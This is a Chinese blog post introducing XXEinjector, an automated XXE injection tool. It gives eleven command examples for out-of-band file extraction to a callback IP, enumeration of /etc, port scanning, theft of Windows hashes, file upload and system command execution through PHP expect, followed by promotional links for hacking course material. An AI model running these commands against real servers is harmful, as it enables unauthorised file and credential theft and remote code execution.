XXEinjector：一款功能强大的自动化XXE注射工具从零基础到精通，收藏这篇就够了！

于 2025-05-12 18:07:39 发布
阅读量906 收藏 9
点赞数 25
分类专栏： 网络安全 Web安全 网络 文章标签： 自动化 运维 安全 web安全 网络 前端 服务器
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/QIANDXX/article/details/147901923
版权

还在手动构造 XXE 注入 payload？OUT 啦！今天给大家安利一款 自动化 XXE 注入神器 XXEinjector，让你轻松驾驭 XXE 漏洞，成为网络安全界的弄潮儿！

XXEinjector 是一款基于 Ruby 开发的 XXE 注入工具，它支持多种直接或间接的带外 (OOB) 方法来提取文件。不过要注意，目录枚举功能目前只对 Java 应用有效，而暴力破解攻击则可能需要与其他应用配合使用，才能发挥最大威力。

XXEinjector：启动你的 XXE 漏洞挖掘之旅

想玩转 XXEinjector？首先要做的就是熟悉它的各种操作选项。毕竟，工欲善其事，必先利其器嘛！在使用它进行渗透测试之前，务必仔细阅读官方文档，了解每个配置选项的作用，才能最大限度地发挥它的威力。当然，作为 Ruby 家族的一员，你需要先安装 Ruby 运行环境。

--host     必填项 – 用于建立反向链接的 IP 地址。举个栗子: (--host=192.168.0.2)

实战演练：XXEinjector 使用场景大揭秘

接下来，让我们通过几个实际的例子，来看看 XXEinjector 在实战中是如何大显身手的。

案例一：枚举 HTTPS 应用中的 /etc 目录
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl

这条命令指示 XXEinjector 去枚举 HTTPS 应用中的 /etc 目录，并将结果保存到 /tmp/req.txt 文件中。

案例二：使用 Gopher 协议进行 OOB 枚举
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher

这条命令与上一个类似，但使用了 Gopher 协议进行带外 (OOB) 数据传输。

案例三：二次漏洞利用
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt

这个命令展示了如何进行二次漏洞利用，其中 --2ndfile 参数指定了第二个请求文件。

案例四：HTTP OOB + Netdoc 协议爆破攻击
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc

这条命令使用 HTTP 带外方法和 Netdoc 协议，对指定的文件名列表进行爆破攻击。

案例五：直接性漏洞利用进行资源枚举
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK

这个命令展示了如何通过直接性漏洞利用方式进行资源枚举，--direct 参数用于指定唯一的标记。

案例六：枚举未过滤的端口
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all

使用这个命令，你可以让 XXEinjector 尝试枚举目标主机上所有未被过滤的端口。

案例七：窃取 Windows 哈希
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes

这条命令尝试窃取目标 Windows 系统的哈希值，方便后续的渗透测试。

案例八：Java Jar 文件上传
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf

通过这个命令，你可以利用 XXE 漏洞上传 Java Jar 文件到目标服务器。

案例九：PHP Expect 执行系统指令
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter --expect=ls

这条命令利用 PHP expect 模块执行系统指令，例如这里的 ls 命令。

案例十：XSLT 注入测试
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --xslt

这个命令用于测试目标系统是否存在 XSLT 注入漏洞。

案例十一：记录请求信息
ruby XXEinjector.rb --logger --oob=http --output=/tmp/out.txt

使用这个命令，你可以记录 XXEinjector 发送的请求信息，方便后续的分析和调试。

XXEinjector 下载传送门：

https://github.com/enjoiz/XXEinjector/archive/master.zip

还在等什么？赶快下载 XXEinjector，开启你的 XXE 漏洞挖掘之旅吧！

题外话

黑客&网络安全如何学习

今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。

1.学习路线图

在这里插入图片描述

攻击和防守要学的东西也不少，具体要学的东西我都写在了上面的路线图，如果你能学完它们，你去就业和接私活完全没有问题。

2.视频教程
网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我们和网安大厂360共同研发的网安视频教程，之前都是内部资源，专业方面绝对可以秒杀国内99%的机构和个人教学！全网独一份，你不可能在网上找到这么专业的教程。

内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识，而且包含了中级的各种渗透技术，并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频，200多G的资源，不用担心学不全。
在这里插入图片描述
因篇幅有限，仅展示部分资料，需要见下图即可前往获取
在这里插入图片描述

🐵这些东西我都可以免费分享给大家，需要的可以点这里自取👉:网安入门到进阶资源

3.技术文档和电子书
技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本，由于内容的敏感性，我就不一一展示了。

在这里插入图片描述

因篇幅有限，仅展示部分资料，需要见下图即可前往获取
在这里插入图片描述

🐵这些东西我都可以免费分享给大家，需要的可以点这里自取👉:网安入门到进阶资源

4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等，感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包，需要的话见下图即可前往获取
在这里插入图片描述

🐵这些东西我都可以免费分享给大家，需要的可以点这里自取👉:网安入门到进阶资源

最后就是我这几年整理的网安方面的面试题，如果你是要找网安方面的工作，它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的，如果大家有好的题目或者好的见解欢迎分享。

参考解析：深信服官网、奇安信官网、Freebuf、csdn等

内容特点：条理清晰，含图像化表示更加易懂。

内容概要：包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

在这里插入图片描述

因篇幅有限，仅展示部分资料，需要见下图即可前往获取
在这里插入图片描述

🐵这些东西我都可以免费分享给大家，需要的可以点这里自取👉:网安入门到进阶资源
————————————————

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

多模态大模型入门指南（非常详细）零基础入门到精通，收藏这一篇就够了
Hacker_doggy的博客
07-17 3254
如表1所示，对26 SOTA MM-LLMs的架构和训练数据集规模进行了全面比较。随后，简要介绍这些模型的核心贡献并总结了它们的发展趋势。代表了一系列视觉语言 (VL) 模型，旨在处理交错的视觉数据和文本，生成自由格式的文本作为输出。(2)BLIP-2引入了一个资源效率更高的框架，包括用于弥补模态差距的轻量级 Q-Former ，实现对冻结 LLMs 的充分利用。利用 LLMs，BLIP-2 可以使用自然语言提示进行零样本图像到文本的生成。(3)LLaVA。
【超详细】零基础自学网络安全，来收藏这一篇就够了（白嫖60G网安教程）
weixin_70257503的博客
12-07 2840
如果你是一个安全行业的新人，我建议你看看这篇文章
Linux/UNIX最新十大安全漏洞
12-24
SANS（SysAdmin audit Network Security，系统管理和网络安全审计委员会，这是一个由政府，企业和学术专家组成的安全研究和教育机构）和FBI（Federal Bureau of Investigation，美国联邦调查局）又一次合作发布IT安全漏洞列表的更新版本，这些安全漏洞在他们看来最容易被人利用。
Windows和Linux系统查看端口和文件占用
最新发布
A1_3_9_7的博客
03-21 799
在Windows环境中要知道当前端口被哪个进程所占用，或者是查看当前系统网络的会话连接，操作如下：（1）、查看端口被那个进程ID（PID）所占用查看指定端口，使用命令：netstat -ano | findstr “445”上边这个445端口当前正在监听0.0.0.0地址，可以看到占用进程PID为4findstr更多用法可以通过findstr /?查看（2）、通过PID查看进程上边已知进程PID为4，使用命令：tasklist | findstr "4"查找进程。
一些有用的脚本
Hansel的专栏
12-05 1008
check_version.sh检查编译环境的版本情况，摘自Linux from Scratch LFS文档#!/bin/bash# Simple script to list version numbers of critical development toolsbash --version | head -n1 | cut -d" " -f2-4echo -n "Binutils:
实用脚本工具
weixin_30545285的博客
04-22 274
归档 归档数据文件，在看正式的脚本之前首先分析，归档脚本所需要的东西，从什么地方获取归档的信息。如何遍历归档列表。将归档信息保存在何处。归档信息不存在该如何 [root@localhost gawk]# cat test5.sh #在看正事归档脚本前先看下这个小脚本，通过exec 获取标准输入，data1 是一个当前在当前目录的文件， #!/bin/bash...
实用浏览器脚本
DHclly的博客
02-22 707
原文链接：https://emlog.icedog.top/?post=28。
XXEinjector：命令行下的XXE漏洞快速检测工具
从XXEInject的文件名称列表XXEinjector-master中，我们可以推测这个工具可能是一个开源项目，并且有多个版本或者可能支持多种功能。通常，master版本指的是该工具的主分支，包含最新的开发和改动。使用该工具之前，...
XXExploiter工具：自动化XXE漏洞利用流程
2. XXE漏洞利用工具xxexploiter功能说明：xxexploiter是一个专门设计用来利用XXE漏洞的工具，它能生成特定的XML有效负载，并能自动启动服务器来服务所需的DTD或进行数据渗透测试。通过这个工具，安全测试人员可以在...
xxexploiter：帮助利用XXE漏洞的工具
02-06
这是一个用打字稿编写的简单Node应用程序。 因此，您可以在构建其他应用程序时进行构建： （如果没有，请先安装node和npm） npm install npm run build #you may need to npm install typescript -g in order for...
Windows 脚本大全
11-02
包含各种Windows脚本事例。The scripts included in this help file are likely to appear in the forthcoming System Administration Scripting Guide, which will ship as part of the Windows .NET Server Resource Kit. In the Scripting Guide itself, each script will be explained in step-by-step fashion, and instructional material will help you learn how to modify these scripts to suit your unique individual needs. In addition, the book will also teach you how to write your own scripts using VBScript, WMI, ADSI, and other Microsoft Scripting technologies. Most of the scripts are designed to run with either Windows 2000, Windows XP, or Windows .NET Server. Scripts that are not designed to run on all these platforms include a brief note indicating which versions of Windows are required. To use the scripts, copy the appropriate script code, paste it into Notepad or another text editor, and save the file with a .vbs file extension.
JavaScript脚本大全
08-24
JavaScript脚本大全,各种JavaScript脚本开发
你应该了解的13个免费且实用的脚本
汇集点滴 聚沙成塔
08-25 2879
 你应该了解的13个免费且实用的脚本 1.CheveretoChevereto是一个免费开源的图像存储脚本程序，通过它你可以自已架设一个类似于ImageShack、TinyPIC等那样的免费图像存储空间。它采用PHP技术创建，无需MySQL数据库的支持，非常容易安装和配置。   2.osTicket  osTicket 是一种流行的开源客户支持票系统，基于PHP
日常实用脚本整理
Enweitech Software Works
03-10 1317
一、拒绝超过n次登陆的ip进行ssh连接 结合/var/log/secure文件，将ssh登陆失败次数大于N的IP封顶 N=3 SEC_FILE=/var/log/secure for ip in `grep "Failed password" $SEC_FILE|grep -Eo "([0-9]{1,3}\.){3}[0-9]{1,3}"|sort -n|uniq -c|awk '{if
分享 10 个日常使用的脚本
qq_46094651的博客
06-09 1728
本文分享了 10 日常实用的小脚本，希望能抛砖引玉，基于此你可以写出更好用更强大的程序。这份完整版的Python全套学习资料已经上传CSDN，朋友们如果需要可以点击链接免费领取或者保存图片到wx扫描二v码免费领取保证100%免费👉《python学习路线&全套学习资料》免费分享]安全链接，放心点击。
20个好用到爆的Python实用脚本！
Python栈
08-15 4936
最近小编认真整理了20+个基于python的实战案例，主要包含：数据分析、可视化、机器学习/深度学习、时序预测等，案例的主要特点：提供源码：代码都是基于jupyter notebook，附带一定的注释，运行即可数据齐全：大部分案例都有提供数据，部分案例使用内置数据集（1）不同内存下的销量(代码片段)（2）不同闪存Ram下的价格分布（代码片段）不同店铺下的点评数量对比：4个指标的关系：口味、环境、服务和人均消费RFM模型是客户关系管理（CRM）中的一种重要分析模型，用于衡量客户价值和客户创利能力。
【脚本小子狂喜】日常实用脚本推荐
MachineGunJoe666
06-05 3284
1、list_sys_status.sh 显示系统使用的以下信息： 主机名、IP地址、子网掩码、网关、DNS服务器IP地址信息 #!/bin/bash IP=`ifconfigeth0|head-2|tail-1|awk'{print$2}'|awk-F":"'{print$2}'` ZW=`ifconfigeth0|head-2|tail-1|awk'{print$3}'|awk-F":"'{print$2}'` GW=`route...
10个有趣的Python实用脚本，建议收藏！
Everly_的博客
09-25 385
在日常的工作中，我们总会面临到各式各样的问题。其中不少的问题，使用一些简单的Python代码就能解决。比如之前的复旦大佬，用130行Python代码硬核搞定核酸统计，大大提升了效率，节省了不少时间。今天，小编就带大家学习一下10个Python脚本程序。虽然简单，不过还是蛮有用的。有兴趣的可以自己去实现，找到对自己有帮助的技巧。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值